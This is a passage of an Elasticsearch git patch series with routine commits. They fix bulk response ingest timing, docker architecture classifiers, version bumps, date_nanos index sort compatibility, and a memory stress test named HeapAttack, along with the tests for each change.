+            // base memory: 240+2*25 = 290MB
+            // since perDeployment memory is specified, we compute the new memory format usage:
+            // 250 (perDeployment) + 1*25 (perAllocation) + 25 (modelDefinition) = 300MB
+            // Then we take the maximum of 290 and 300, which is 300MB
+            assertThat(builder.getRemainingMemory(n), equalTo(ByteSizeValue.ofMb(0).getBytes()));
             assertThat(builder.getRemainingAllocations(m), equalTo(1));
             assertThat(builder.getRemainingThreads(m), equalTo(2));
 
@@ -254,12 +261,8 @@ public void testAssignModelToNode_GivenPreviouslyAssignedModelDoesNotFit() {
 
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
 
-            builder.assignModelToNode(m, n, 2);
-            AssignmentPlan plan = builder.build();
-
-            assertThat(plan.deployments(), contains(m));
-            assertThat(plan.satisfiesCurrentAssignments(), is(true));
-            assertThat(plan.assignments(m).get(), equalTo(Map.of(n, 2)));
+            Exception e = expectThrows(IllegalArgumentException.class, () -> builder.assignModelToNode(m, n, 2));
+            assertThat(e.getMessage(), containsString("not enough memory on node"));
         }
         { // new memory format
             Node n = new Node("n_1", ByteSizeValue.ofMb(340 - 1).getBytes(), 4);
@@ -278,12 +281,8 @@ public void testAssignModelToNode_GivenPreviouslyAssignedModelDoesNotFit() {
 
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
 
-            builder.assignModelToNode(m, n, 2);
-            AssignmentPlan plan = builder.build();
-
-            assertThat(plan.deployments(), contains(m));
-            assertThat(plan.satisfiesCurrentAssignments(), is(true));
-            assertThat(plan.assignments(m).get(), equalTo(Map.of(n, 2)));
+            Exception e = expectThrows(IllegalArgumentException.class, () -> builder.assignModelToNode(m, n, 2));
+            assertThat(e.getMessage(), containsString("not enough memory on node"));
         }
     }
 
@@ -384,7 +383,9 @@ public void testCanAssign_GivenPreviouslyAssignedModelDoesNotFit() {
             // old memory format
             Deployment m = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(31).getBytes(), 1, 1, Map.of("n_1", 1), 0, null, 0, 0);
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
-            assertThat(builder.canAssign(m, n, 1), is(true));
+            // 240 + 2*31 = 302MB, this doesn't fit in 300MB. We don't care that the deployment is currently allocated since
+            // only previous assignments should be considered
+            assertThat(builder.canAssign(m, n, 1), is(false));
         }
         {
             // new memory format
@@ -397,11 +398,15 @@ public void testCanAssign_GivenPreviouslyAssignedModelDoesNotFit() {
                 Map.of("n_1", 1),
                 0,
                 null,
-                ByteSizeValue.ofMb(300).getBytes(),
+                ByteSizeValue.ofMb(265).getBytes(),
                 ByteSizeValue.ofMb(10).getBytes()
             );
             AssignmentPlan.Builder builder = AssignmentPlan.builder(List.of(n), List.of(m));
+            // 265 + 1*10 + 25 = 300MB, this doesn't fit in 300MB. We don't care that the deployment is currently allocated since
             assertThat(builder.canAssign(m, n, 1), is(true));
+            builder.assignModelToNode(m, n, 1);
+            // After assignment, no more memory is available
+            assertThat(builder.canAssign(m, n, 1), is(false));
         }
     }
 

From 937fb54e14b1d8a802b6c5e262187ac0344261a2 Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Thu, 31 Jul 2025 12:11:04 -0400
Subject: [PATCH 273/299] Fix combine result for `ingest_took` (#132088)
 (#132277)

If we combined two `BulkResponse`s with `ingest_took` set to
`NO_INGEST_TOOK` we'd get an `ingest_took` of `-2`. Which doesn't make
any sense. This fixes it to be set to `NO_INGEST_TOOK` properly.
---
 docs/changelog/132088.yaml                    |  5 ++++
 .../action/bulk/BulkResponse.java             | 29 +++++++++++++++++++
 .../action/bulk/IncrementalBulkService.java   | 24 ++-------------
 .../action/bulk/BulkResponseTests.java        | 12 ++++++++
 4 files changed, 48 insertions(+), 22 deletions(-)
 create mode 100644 docs/changelog/132088.yaml

diff --git a/docs/changelog/132088.yaml b/docs/changelog/132088.yaml
new file mode 100644
index 0000000000000..2de281e917ff7
--- /dev/null
+++ b/docs/changelog/132088.yaml
@@ -0,0 +1,5 @@
+pr: 132088
+summary: Fix combine result for `ingest_took`
+area: ES|QL
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/action/bulk/BulkResponse.java b/server/src/main/java/org/elasticsearch/action/bulk/BulkResponse.java
index 567b433d94daf..97236b47e53aa 100644
--- a/server/src/main/java/org/elasticsearch/action/bulk/BulkResponse.java
+++ b/server/src/main/java/org/elasticsearch/action/bulk/BulkResponse.java
@@ -20,6 +20,7 @@
 
 import java.io.IOException;
 import java.util.Iterator;
+import java.util.List;
 
 /**
  * A response of a bulk execution. Holding a response for each item responding (in order) of the
@@ -166,4 +167,32 @@ public Iterator<? extends ToXContent> toXContentChunked(ToXContent.Params params
             return builder.startArray(ITEMS);
         }), Iterators.forArray(responses), Iterators.<ToXContent>single((builder, p) -> builder.endArray().endObject()));
     }
+
+    /**
+     * Combine many bulk responses into one.
+     */
+    public static BulkResponse combine(List<BulkResponse> responses) {
+        long tookInMillis = 0;
+        long ingestTookInMillis = NO_INGEST_TOOK;
+        int itemResponseCount = 0;
+        for (BulkResponse response : responses) {
+            tookInMillis += response.getTookInMillis();
+            if (response.getIngestTookInMillis() != NO_INGEST_TOOK) {
+                if (ingestTookInMillis == NO_INGEST_TOOK) {
+                    ingestTookInMillis = 0;
+                }
+                ingestTookInMillis += response.getIngestTookInMillis();
+            }
+            itemResponseCount += response.getItems().length;
+        }
+        BulkItemResponse[] bulkItemResponses = new BulkItemResponse[itemResponseCount];
+        int i = 0;
+        for (BulkResponse response : responses) {
+            for (BulkItemResponse itemResponse : response.getItems()) {
+                bulkItemResponses[i++] = itemResponse;
+            }
+        }
+
+        return new BulkResponse(bulkItemResponses, tookInMillis, ingestTookInMillis);
+    }
 }
diff --git a/server/src/main/java/org/elasticsearch/action/bulk/IncrementalBulkService.java b/server/src/main/java/org/elasticsearch/action/bulk/IncrementalBulkService.java
index 81ff1925182eb..b2b4404f48d47 100644
--- a/server/src/main/java/org/elasticsearch/action/bulk/IncrementalBulkService.java
+++ b/server/src/main/java/org/elasticsearch/action/bulk/IncrementalBulkService.java
@@ -210,7 +210,7 @@ public void lastItems(List<DocWriteRequest<?>> items, Releasable releasable, Act
                         @Override
                         public void onResponse(BulkResponse bulkResponse) {
                             handleBulkSuccess(bulkResponse);
-                            listener.onResponse(combineResponses());
+                            listener.onResponse(BulkResponse.combine(responses));
                         }
 
                         @Override
@@ -252,7 +252,7 @@ private void errorResponse(ActionListener<BulkResponse> listener) {
             if (globalFailure) {
                 listener.onFailure(bulkActionLevelFailure);
             } else {
-                listener.onResponse(combineResponses());
+                listener.onResponse(BulkResponse.combine(responses));
             }
         }
 
@@ -311,25 +311,5 @@ private void createNewBulkRequest(BulkRequest.IncrementalState incrementalState)
                 bulkRequest.setRefreshPolicy(refresh);
             }
         }
-
-        private BulkResponse combineResponses() {
-            long tookInMillis = 0;
-            long ingestTookInMillis = 0;
-            int itemResponseCount = 0;
-            for (BulkResponse response : responses) {
-                tookInMillis += response.getTookInMillis();
-                ingestTookInMillis += response.getIngestTookInMillis();
-                itemResponseCount += response.getItems().length;
-            }
-            BulkItemResponse[] bulkItemResponses = new BulkItemResponse[itemResponseCount];
-            int i = 0;
-            for (BulkResponse response : responses) {
-                for (BulkItemResponse itemResponse : response.getItems()) {
-                    bulkItemResponses[i++] = itemResponse;
-                }
-            }
-
-            return new BulkResponse(bulkItemResponses, tookInMillis, ingestTookInMillis);
-        }
     }
 }
diff --git a/server/src/test/java/org/elasticsearch/action/bulk/BulkResponseTests.java b/server/src/test/java/org/elasticsearch/action/bulk/BulkResponseTests.java
index 042a8422ca64d..7c1aad1a2af54 100644
--- a/server/src/test/java/org/elasticsearch/action/bulk/BulkResponseTests.java
+++ b/server/src/test/java/org/elasticsearch/action/bulk/BulkResponseTests.java
@@ -144,6 +144,18 @@ public void testToXContentPlacesErrorsFirst() throws IOException {
         }
     }
 
+    public void testCombineNoIngest() {
+        BulkResponse first = new BulkResponse(new BulkItemResponse[0], 1, NO_INGEST_TOOK);
+        BulkResponse second = new BulkResponse(new BulkItemResponse[0], 1, NO_INGEST_TOOK);
+        assertThat(BulkResponse.combine(List.of(first, second)).getIngestTookInMillis(), equalTo(NO_INGEST_TOOK));
+    }
+
+    public void testCombineOneIngest() {
+        BulkResponse first = new BulkResponse(new BulkItemResponse[0], 1, NO_INGEST_TOOK);
+        BulkResponse second = new BulkResponse(new BulkItemResponse[0], 1, 2);
+        assertThat(BulkResponse.combine(List.of(first, second)).getIngestTookInMillis(), equalTo(2L));
+    }
+
     private static Tuple<? extends DocWriteResponse, ? extends DocWriteResponse> success(
         DocWriteRequest.OpType opType,
         XContentType xContentType

From 6a8057afb894163a49f5d6d27d99df71cf8d10fb Mon Sep 17 00:00:00 2001
From: Rene Groeschke <rene@elastic.co>
Date: Fri, 1 Aug 2025 09:59:59 +0200
Subject: [PATCH 274/299] Standardize on docker image arch classifier (#130643)
 (#131753)

---
 .../main/java/org/elasticsearch/gradle/Architecture.java  | 8 +++++---
 distribution/docker/build.gradle                          | 2 +-
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java b/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
index c7e6546e66b9a..ae47f934b0dc3 100644
--- a/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
+++ b/build-tools/src/main/java/org/elasticsearch/gradle/Architecture.java
@@ -11,15 +11,17 @@
 
 public enum Architecture {
 
-    X64("x86_64", "linux/amd64"),
-    AARCH64("aarch64", "linux/arm64");
+    X64("x86_64", "linux/amd64", "amd64"),
+    AARCH64("aarch64", "linux/arm64", "arm64");
 
     public final String classifier;
     public final String dockerPlatform;
+    public final String dockerClassifier;
 
-    Architecture(String classifier, String dockerPlatform) {
+    Architecture(String classifier, String dockerPlatform, String dockerClassifier) {
         this.classifier = classifier;
         this.dockerPlatform = dockerPlatform;
+        this.dockerClassifier = dockerClassifier;
     }
 
     public static Architecture current() {
diff --git a/distribution/docker/build.gradle b/distribution/docker/build.gradle
index e3f87117ea029..90e0a9383f753 100644
--- a/distribution/docker/build.gradle
+++ b/distribution/docker/build.gradle
@@ -659,7 +659,7 @@ subprojects { Project subProject ->
       it.setCompression(Compression.GZIP)
       it.getArchiveBaseName().set("elasticsearch${base.suffix}-${VersionProperties.elasticsearch}-docker-image")
       it.getArchiveVersion().set("")
-      it.getArchiveClassifier().set(architecture == Architecture.AARCH64 ? 'aarch64' : '')
+      it.getArchiveClassifier().set(architecture.dockerClassifier)
       it.getDestinationDirectory().set(new File(project.parent.buildDir, 'distributions'))
       it.dependsOn(exportTask)
     }

From 7f130361b64b68eaaef01a71a09f8aa348b6ea02 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mariusz=20J=C3=B3zala?=
 <377355+jozala@users.noreply.github.com>
Date: Fri, 1 Aug 2025 12:32:05 +0200
Subject: [PATCH 275/299] Update 8.17 version to 8.17.10 (#132303) (#132314)

This change is needed after release of 8.17.9 as 8.17.10 is the next
version for the 8.17 branch.
It has been already added previously, but reverted in https://github
.com/elastic/elasticsearch/commit
/f8d97f36e37fe18530e2f3858ded147f11634ebe probably by a bug in
automation.

(cherry picked from commit 42f93687af014f3e6e882558228b980f78417924)

# Conflicts:
#	.buildkite/pipelines/intake.yml
#	.buildkite/pipelines/periodic.yml
---
 .buildkite/pipelines/intake.yml                     |  2 +-
 .buildkite/pipelines/periodic-packaging.yml         |  6 +++---
 .buildkite/pipelines/periodic.yml                   | 10 +++++-----
 .ci/bwcVersions                                     |  2 +-
 .ci/snapshotBwcVersions                             |  2 +-
 server/src/main/java/org/elasticsearch/Version.java |  1 +
 6 files changed, 12 insertions(+), 11 deletions(-)

diff --git a/.buildkite/pipelines/intake.yml b/.buildkite/pipelines/intake.yml
index a0249a13d38a8..099cf928701b6 100644
--- a/.buildkite/pipelines/intake.yml
+++ b/.buildkite/pipelines/intake.yml
@@ -65,7 +65,7 @@ steps:
         timeout_in_minutes: 300
         matrix:
           setup:
-            BWC_VERSION: ["8.17.9", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.buildkite/pipelines/periodic-packaging.yml b/.buildkite/pipelines/periodic-packaging.yml
index 35a8243ead455..6da9607572b72 100644
--- a/.buildkite/pipelines/periodic-packaging.yml
+++ b/.buildkite/pipelines/periodic-packaging.yml
@@ -302,8 +302,8 @@ steps:
         env:
           BWC_VERSION: 8.16.6
 
-      - label: "{{matrix.image}} / 8.17.9 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.17.9
+      - label: "{{matrix.image}} / 8.17.10 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.17.10
         timeout_in_minutes: 300
         matrix:
           setup:
@@ -316,7 +316,7 @@ steps:
           machineType: custom-16-32768
           buildDirectory: /dev/shm/bk
         env:
-          BWC_VERSION: 8.17.9
+          BWC_VERSION: 8.17.10
 
       - label: "{{matrix.image}} / 8.18.5 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.18.5
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index a9b58a6fe9ef4..c140420d850bb 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -325,8 +325,8 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 8.17.9 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.17.9#bwcTest
+      - label: 8.17.10 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.17.10#bwcTest
         timeout_in_minutes: 300
         agents:
           provider: gcp
@@ -335,7 +335,7 @@ steps:
           buildDirectory: /dev/shm/bk
           preemptible: true
         env:
-          BWC_VERSION: 8.17.9
+          BWC_VERSION: 8.17.10
         retry:
           automatic:
             - exit_status: "-1"
@@ -487,7 +487,7 @@ steps:
           setup:
             ES_RUNTIME_JAVA:
               - openjdk21
-            BWC_VERSION: ["8.17.9", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
@@ -531,7 +531,7 @@ steps:
             ES_RUNTIME_JAVA:
               - openjdk21
               - openjdk23
-            BWC_VERSION: ["8.17.9", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.ci/bwcVersions b/.ci/bwcVersions
index dda1b818bf29e..1a5f4d5eca7aa 100644
--- a/.ci/bwcVersions
+++ b/.ci/bwcVersions
@@ -16,7 +16,7 @@ BWC_VERSION:
   - "8.14.3"
   - "8.15.5"
   - "8.16.6"
-  - "8.17.9"
+  - "8.17.10"
   - "8.18.5"
   - "8.19.1"
   - "9.0.5"
diff --git a/.ci/snapshotBwcVersions b/.ci/snapshotBwcVersions
index 6decb996644e9..fc63a4e5e80d3 100644
--- a/.ci/snapshotBwcVersions
+++ b/.ci/snapshotBwcVersions
@@ -1,5 +1,5 @@
 BWC_VERSION:
-  - "8.17.9"
+  - "8.17.10"
   - "8.18.5"
   - "8.19.1"
   - "9.0.5"
diff --git a/server/src/main/java/org/elasticsearch/Version.java b/server/src/main/java/org/elasticsearch/Version.java
index c434c37498fc8..edcd456378245 100644
--- a/server/src/main/java/org/elasticsearch/Version.java
+++ b/server/src/main/java/org/elasticsearch/Version.java
@@ -205,6 +205,7 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_8_17_7 = new Version(8_17_07_99);
     public static final Version V_8_17_8 = new Version(8_17_08_99);
     public static final Version V_8_17_9 = new Version(8_17_09_99);
+    public static final Version V_8_17_10 = new Version(8_17_10_99);
     public static final Version V_8_18_0 = new Version(8_18_00_99);
     public static final Version V_8_18_1 = new Version(8_18_01_99);
     public static final Version V_8_18_2 = new Version(8_18_02_99);

From ec5785f79c02247e5041ce938e1d1005add10b29 Mon Sep 17 00:00:00 2001
From: Niels Bauman <33722607+nielsbauman@users.noreply.github.com>
Date: Fri, 1 Aug 2025 13:25:33 +0200
Subject: [PATCH 276/299] Unmute #131803 (#132295) (#132317)

Test was removed in #132063, so we can remove the mutes and close the
test failure issue.

Closes #131803
---
 muted-tests.yml | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 324ff1bde4a1f..b0268436ddb6f 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -447,9 +447,6 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test151MachineDependentHeapWithSizeOverride
   issue: https://github.com/elastic/elasticsearch/issues/123437
-- class: org.elasticsearch.xpack.stack.StackYamlIT
-  method: test {yaml=stack/10_basic/Test wrong data_stream type - logs from 9.2.0}
-  issue: https://github.com/elastic/elasticsearch/issues/131803
 - class: org.elasticsearch.index.engine.MergeWithLowDiskSpaceIT
   method: testRelocationWhileForceMerging
   issue: https://github.com/elastic/elasticsearch/issues/131789

From 3bcd9a1ca95bbd191c7dba8add8ac9910c6a6cac Mon Sep 17 00:00:00 2001
From: Chris Hegarty <62058229+ChrisHegarty@users.noreply.github.com>
Date: Fri, 1 Aug 2025 12:58:43 +0100
Subject: [PATCH 277/299] [9.1.1] Fix default missing index sort value of
 data_nanos pre 7.14  (#132171)

This commit fixes an issue whereby indices created prior to 7.14 that have an index sort on a date_nanos field can no longer be opened (with versions >= 7.14). When opening an index the configured index sort, derived from the index settings, must match exactly that of the sort encoded in the index itself. A change to fix a bug back in 7.14 changed this for date_nanos fields whose index.sort.missing value is absent, see #74760. Specifically, the default minimum value changed from Long.MIN_VALUE to 0L.

The change in this commit restores the default minimum value for indices prior to 7.14.
---
 docs/changelog/132162.yaml                    |  6 ++
 .../org/elasticsearch/index/IndexSortIT.java  | 28 +++++++
 .../fielddata/IndexNumericFieldData.java      | 17 ++++-
 .../index/IndexSortSettingsTests.java         | 76 +++++++++++++++++++
 4 files changed, 123 insertions(+), 4 deletions(-)
 create mode 100644 docs/changelog/132162.yaml

diff --git a/docs/changelog/132162.yaml b/docs/changelog/132162.yaml
new file mode 100644
index 0000000000000..2622ac702ce9a
--- /dev/null
+++ b/docs/changelog/132162.yaml
@@ -0,0 +1,6 @@
+pr: 132162
+summary: Fix default missing index sort value of `data_nanos` pre 7.14
+area: Search
+type: bug
+issues:
+ - 132040
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/index/IndexSortIT.java b/server/src/internalClusterTest/java/org/elasticsearch/index/IndexSortIT.java
index 0e85d2b9750cb..d76b7d0dd250c 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/index/IndexSortIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/index/IndexSortIT.java
@@ -11,6 +11,7 @@
 
 import org.apache.lucene.search.Sort;
 import org.apache.lucene.search.SortField;
+import org.apache.lucene.search.SortedNumericSelector;
 import org.apache.lucene.search.SortedNumericSortField;
 import org.apache.lucene.search.SortedSetSortField;
 import org.elasticsearch.common.settings.Settings;
@@ -80,6 +81,33 @@ public void testIndexSort() {
         assertSortedSegments("test", indexSort);
     }
 
+    public void testIndexSortDateNanos() {
+        prepareCreate("test").setSettings(
+            Settings.builder()
+                .put(indexSettings())
+                .put("index.number_of_shards", "1")
+                .put("index.number_of_replicas", "1")
+                .put("index.sort.field", "@timestamp")
+                .put("index.sort.order", "desc")
+        ).setMapping("""
+            {
+              "properties": {
+                "@timestamp": {
+                  "type": "date_nanos"
+                }
+              }
+            }
+            """).get();
+
+        flushAndRefresh();
+        ensureYellow();
+
+        SortField sf = new SortedNumericSortField("@timestamp", SortField.Type.LONG, true, SortedNumericSelector.Type.MAX);
+        sf.setMissingValue(0L);
+        Sort expectedIndexSort = new Sort(sf);
+        assertSortedSegments("test", expectedIndexSort);
+    }
+
     public void testInvalidIndexSort() {
         IllegalArgumentException exc = expectThrows(
             IllegalArgumentException.class,
diff --git a/server/src/main/java/org/elasticsearch/index/fielddata/IndexNumericFieldData.java b/server/src/main/java/org/elasticsearch/index/fielddata/IndexNumericFieldData.java
index 9956f8105b079..86d962f55a558 100644
--- a/server/src/main/java/org/elasticsearch/index/fielddata/IndexNumericFieldData.java
+++ b/server/src/main/java/org/elasticsearch/index/fielddata/IndexNumericFieldData.java
@@ -146,12 +146,21 @@ public SortField sortField(
         boolean reverse
     ) {
         SortField sortField = sortField(missingValue, sortMode, nested, reverse);
-        // we introduced INT sort type in 8.19 and from 9.1
-        if (getNumericType().sortFieldType != SortField.Type.INT
+        if (getNumericType() == NumericType.DATE_NANOSECONDS
+            && indexCreatedVersion.before(IndexVersions.V_7_14_0)
+            && missingValue == null
+            && Long.valueOf(0L).equals(sortField.getMissingValue())) {
+            // 7.14 changed the default missing value of sort on date_nanos, from Long.MIN_VALUE
+            // to 0L - for compatibility we require to a missing value of MIN_VALUE to allow to
+            // open the index.
+            sortField.setMissingValue(Long.MIN_VALUE);
+            return sortField;
+        } else if (getNumericType().sortFieldType != SortField.Type.INT
+            // we introduced INT sort type in 8.19 and from 9.1
             || indexCreatedVersion.onOrAfter(IndexVersions.INDEX_INT_SORT_INT_TYPE)
             || indexCreatedVersion.between(IndexVersions.INDEX_INT_SORT_INT_TYPE_8_19, UPGRADE_TO_LUCENE_10_0_0)) {
-            return sortField;
-        }
+                return sortField;
+            }
         if ((sortField instanceof SortedNumericSortField) == false) {
             return sortField;
         }
diff --git a/server/src/test/java/org/elasticsearch/index/IndexSortSettingsTests.java b/server/src/test/java/org/elasticsearch/index/IndexSortSettingsTests.java
index 7221d69b74d46..52cc1348fd48a 100644
--- a/server/src/test/java/org/elasticsearch/index/IndexSortSettingsTests.java
+++ b/server/src/test/java/org/elasticsearch/index/IndexSortSettingsTests.java
@@ -13,6 +13,7 @@
 import org.apache.lucene.search.Sort;
 import org.elasticsearch.cluster.metadata.IndexMetadata;
 import org.elasticsearch.common.settings.Settings;
+import org.elasticsearch.common.time.DateUtils;
 import org.elasticsearch.common.util.Maps;
 import org.elasticsearch.index.fielddata.FieldDataContext;
 import org.elasticsearch.index.fielddata.IndexFieldData;
@@ -30,9 +31,12 @@
 import org.elasticsearch.search.sort.SortOrder;
 import org.elasticsearch.test.ESTestCase;
 
+import java.util.ArrayList;
 import java.util.Collections;
+import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.stream.Stream;
 
 import static org.elasticsearch.index.IndexSettingsTests.newIndexMeta;
 import static org.hamcrest.Matchers.arrayWithSize;
@@ -174,6 +178,58 @@ public void testSortingAgainstAliasesPre713() {
         );
     }
 
+    public void testSortMissingValueDateNanoFieldPre714() {
+        MappedFieldType tsField = new DateFieldMapper.DateFieldType("@timestamp", true, DateFieldMapper.Resolution.NANOSECONDS);
+        var indexSettingsBuilder = Settings.builder();
+        indexSettingsBuilder.put("index.sort.field", "@timestamp");
+        indexSettingsBuilder.put("index.sort.order", "desc");
+
+        // test with index version 7.13 and before
+        var pre714Versions = Stream.concat(Stream.of(IndexVersions.V_7_13_0), randomVersionsBefore(IndexVersions.V_7_13_0)).toList();
+        for (var version : pre714Versions) {
+            indexSettingsBuilder.put(IndexMetadata.SETTING_VERSION_CREATED, version);
+            Sort sort = buildIndexSort(indexSettings(indexSettingsBuilder.build()), Map.of("@timestamp", tsField));
+            assertThat(sort.getSort(), arrayWithSize(1));
+            assertThat(sort.getSort()[0].getField(), equalTo("@timestamp"));
+            assertThat(sort.getSort()[0].getMissingValue(), equalTo(Long.MIN_VALUE));
+        }
+
+        // now test with index version 7.14 and after
+        var post713Versions = Stream.concat(Stream.of(IndexVersions.V_7_14_0), randomVersionsAfter(IndexVersions.V_7_14_0)).toList();
+        for (var version : post713Versions) {
+            indexSettingsBuilder.put(IndexMetadata.SETTING_VERSION_CREATED, version);
+            Sort sort = buildIndexSort(indexSettings(indexSettingsBuilder.build()), Map.of("@timestamp", tsField));
+            assertThat(sort.getSort(), arrayWithSize(1));
+            assertThat(sort.getSort()[0].getField(), equalTo("@timestamp"));
+            assertThat(sort.getSort()[0].getMissingValue(), equalTo(0L));
+        }
+
+        // asc order has not changed behaviour in any version
+        indexSettingsBuilder.put("index.sort.order", "asc");
+        var allVersions = Stream.concat(post713Versions.stream(), pre714Versions.stream()).toList();
+        for (var version : allVersions) {
+            indexSettingsBuilder.put(IndexMetadata.SETTING_VERSION_CREATED, version);
+            Sort sort = buildIndexSort(indexSettings(indexSettingsBuilder.build()), Map.of("@timestamp", tsField));
+            assertThat(sort.getSort(), arrayWithSize(1));
+            assertThat(sort.getSort()[0].getField(), equalTo("@timestamp"));
+            assertThat(sort.getSort()[0].getMissingValue(), equalTo(DateUtils.MAX_NANOSECOND));
+        }
+
+        // ensure no change in behaviour when a missing value is set
+        indexSettingsBuilder.put("index.sort.missing", "_first");
+        for (var version : allVersions) {
+            indexSettingsBuilder.put(IndexMetadata.SETTING_VERSION_CREATED, version);
+            Sort sort = buildIndexSort(indexSettings(indexSettingsBuilder.build()), Map.of("@timestamp", tsField));
+            assertThat(sort.getSort()[0].getMissingValue(), equalTo(0L));
+        }
+        indexSettingsBuilder.put("index.sort.missing", "_last");
+        for (var version : allVersions) {
+            indexSettingsBuilder.put(IndexMetadata.SETTING_VERSION_CREATED, version);
+            Sort sort = buildIndexSort(indexSettings(indexSettingsBuilder.build()), Map.of("@timestamp", tsField));
+            assertThat(sort.getSort()[0].getMissingValue(), equalTo(Long.MAX_VALUE));
+        }
+    }
+
     public void testTimeSeriesMode() {
         IndexSettings indexSettings = indexSettings(
             Settings.builder()
@@ -224,4 +280,24 @@ private Sort buildIndexSort(IndexSettings indexSettings, Map<String, MappedField
             )
         );
     }
+
+    /* Returns a stream of versions before the given version */
+    Stream<IndexVersion> randomVersionsBefore(IndexVersion indexVersion) {
+        var versions = IndexVersions.getAllVersions().stream().filter(v -> v.before(indexVersion)).toList();
+        List<IndexVersion> ret = new ArrayList<>();
+        for (int i = 0; i < 10; i++) {
+            ret.add(randomValueOtherThanMany(ret::contains, () -> randomFrom(versions)));
+        }
+        return ret.stream();
+    }
+
+    /* Returns a stream of versions after the given version */
+    Stream<IndexVersion> randomVersionsAfter(IndexVersion indexVersion) {
+        var versions = IndexVersions.getAllVersions().stream().filter(v -> v.after(indexVersion)).toList();
+        List<IndexVersion> ret = new ArrayList<>();
+        for (int i = 0; i < 10; i++) {
+            ret.add(randomValueOtherThanMany(ret::contains, () -> randomFrom(versions)));
+        }
+        return ret.stream();
+    }
 }

From 774b022dd4dcd84e58d861b94895a26e6264858c Mon Sep 17 00:00:00 2001
From: Nik Everett <nik9000@gmail.com>
Date: Fri, 1 Aug 2025 09:52:51 -0400
Subject: [PATCH 278/299] ESQL: Stabilize heap attack test (#132045) (#132285)

In some contexts ESQL's HeapAttack tests were failing because the
TranslogWriter keeps a map with the contents of the documents in it
around. But only when assertions are enabled. Fun. This flushes the map
away, preventing the odd OOM we were seeing in the HeapAttack tests.
---
 .../xpack/esql/heap_attack/HeapAttackIT.java  | 22 +++++++++++++++++--
 1 file changed, 20 insertions(+), 2 deletions(-)

diff --git a/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java b/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java
index 893acbd22cc23..8ae9db4c904c9 100644
--- a/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java
+++ b/test/external-modules/esql-heap-attack/src/javaRestTest/java/org/elasticsearch/xpack/esql/heap_attack/HeapAttackIT.java
@@ -884,8 +884,17 @@ private void initManyBigFieldsIndex(int docs, String type) throws IOException {
     }
 
     private void initGiantTextField(int docs) throws IOException {
-        logger.info("loading many documents with one big text field");
-        int docsPerBulk = 3;
+        int docsPerBulk = 10;
+        for (Map<?, ?> nodeInfo : getNodesInfo(adminClient()).values()) {
+            for (Object module : (List<?>) nodeInfo.get("modules")) {
+                Map<?, ?> moduleInfo = (Map<?, ?>) module;
+                final String moduleName = moduleInfo.get("name").toString();
+                if (moduleName.startsWith("serverless-")) {
+                    docsPerBulk = 3;
+                }
+            }
+        }
+        logger.info("loading many documents with one big text field - docs per bulk {}", docsPerBulk);
         int fieldSize = Math.toIntExact(ByteSizeValue.ofMb(5).getBytes());
 
         Request request = new Request("PUT", "/bigtext");
@@ -1052,6 +1061,15 @@ private void bulk(String name, String bulk) throws IOException {
         );
         Response response = client().performRequest(request);
         assertThat(entityAsMap(response), matchesMap().entry("errors", false).extraOk());
+
+        /*
+         * Flush after each bulk to clear the test-time seenSequenceNumbers Map in
+         * TranslogWriter. Without this the server will OOM from time to time keeping
+         * stuff around to run assertions on.
+         */
+        request = new Request("POST", "/" + name + "/_flush");
+        response = client().performRequest(request);
+        assertThat(entityAsMap(response), matchesMap().entry("_shards", matchesMap().extraOk().entry("failed", 0)).extraOk());
     }
 
     private void initIndex(String name, String bulk) throws IOException {

From 043ddc326eb105d5afc66c7f0a4f7cc3c262ca4c Mon Sep 17 00:00:00 2001
From: David Kyle <david.kyle@elastic.co>
